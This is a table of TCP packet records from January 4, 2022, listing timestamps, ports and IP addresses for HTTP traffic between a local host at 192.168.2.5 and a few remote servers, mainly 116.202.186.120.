Jan 4, 2022 19:34:06.249936104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249963999 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249968052 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249990940 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249999046 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250010967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250025988 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250049114 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250053883 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250070095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250082016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250092030 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250113964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250133991 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250154972 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250163078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250173092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250196934 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250204086 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250217915 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250228882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250243902 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250256062 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250276089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250283957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250302076 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250320911 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250322104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250339985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250365019 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250374079 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250384092 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250397921 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250426054 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250427008 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250448942 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250454903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250473022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250482082 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250502110 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250509977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250524044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250535011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250554085 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250571012 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250572920 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250591040 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250617981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250622034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250636101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250648022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250667095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250682116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250706911 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250710011 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250724077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250735998 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250749111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250766039 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250787973 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250793934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250816107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250835896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250838041 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250853062 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250869036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250881910 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250899076 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250916958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250919104 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250941038 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250943899 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.250966072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250988960 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.250991106 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251008987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251017094 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251029968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251049042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251049995 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251068115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251085997 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251091003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251110077 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251121044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251157045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251240969 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251257896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251274109 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251286030 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251295090 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251322985 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251368999 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251372099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251389027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251405954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251413107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251426935 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251435041 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251447916 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251456976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251470089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251487970 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251492977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251513004 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251513958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251532078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251550913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251559973 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251574993 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251574993 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.251605988 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.251631975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.261881113 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.269153118 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269190073 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269207001 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269226074 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269242048 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269258976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269275904 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269278049 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269294024 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269309998 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269309998 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269329071 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269344091 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269361019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269367933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269382954 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269391060 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269407034 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269427061 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269427061 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269443035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269459009 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269468069 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269476891 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269493103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269496918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269510031 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269520044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269526005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269542933 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269552946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269558907 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269575119 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.269593000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.269618988 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273394108 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273448944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273452044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273488045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273771048 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273822069 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273883104 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273900986 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273917913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273932934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273933887 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273950100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273962021 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.273967981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.273986101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274002075 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274017096 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274018049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274034977 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274045944 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274050951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274066925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274075031 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274082899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274101019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274106026 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274117947 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274133921 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274137020 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274152994 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274168968 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274174929 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274185896 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274202108 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274218082 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274218082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274236917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274244070 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274260044 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274267912 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274280071 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274298906 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274313927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274331093 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274333954 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274346113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274348021 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274362087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274375916 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274378061 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274394035 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274403095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274411917 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274429083 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274445057 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274452925 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274456978 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274461031 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274477005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274492979 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274496078 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274507999 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274523973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274540901 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274540901 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274558067 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274564981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274575949 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274595022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274600983 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274610996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274626970 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274629116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274641991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274652004 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274657965 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274674892 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274689913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274691105 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274708033 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274724960 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274739027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274743080 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274746895 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274758101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274772882 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274789095 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274789095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274806976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274826050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274827003 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274851084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274851084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274874926 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274897099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274912119 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274916887 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274919987 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274933100 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274950027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274955988 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.274966002 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274981022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.274991035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275000095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275016069 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275022984 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275029898 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275046110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275052071 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275060892 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275077105 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275078058 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275094032 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275100946 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275109053 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275126934 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275142908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275156975 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275166035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275175095 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275192976 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275202036 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275208950 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275218964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275233984 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275243044 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275250912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275268078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275279045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275288105 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275310993 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275316954 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275329113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275340080 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275345087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275365114 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275377035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275382996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275398970 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275414944 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275417089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275434971 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275444984 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275450945 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275468111 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275475025 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275486946 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275496960 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275504112 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275516987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275535107 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275541067 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275551081 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275563955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275576115 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275578976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275588036 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275603056 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275603056 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275620937 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275636911 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275648117 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275655031 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275671959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275684118 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275685072 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.275712967 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.275737047 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.277869940 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.280884981 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.311146975 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.372230053 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.372360945 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.384301901 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.384483099 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.417457104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.417541981 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.445290089 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.445420027 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.445446014 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.445471048 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.445487022 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.445496082 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.445547104 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.445578098 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.445585012 CET	49906	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.506827116 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506865025 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506880045 CET	80	49906	185.7.214.239	192.168.2.5
Jan 4, 2022 19:34:06.506895065 CET	80	49906	185.7.214.239	192.168.2.5
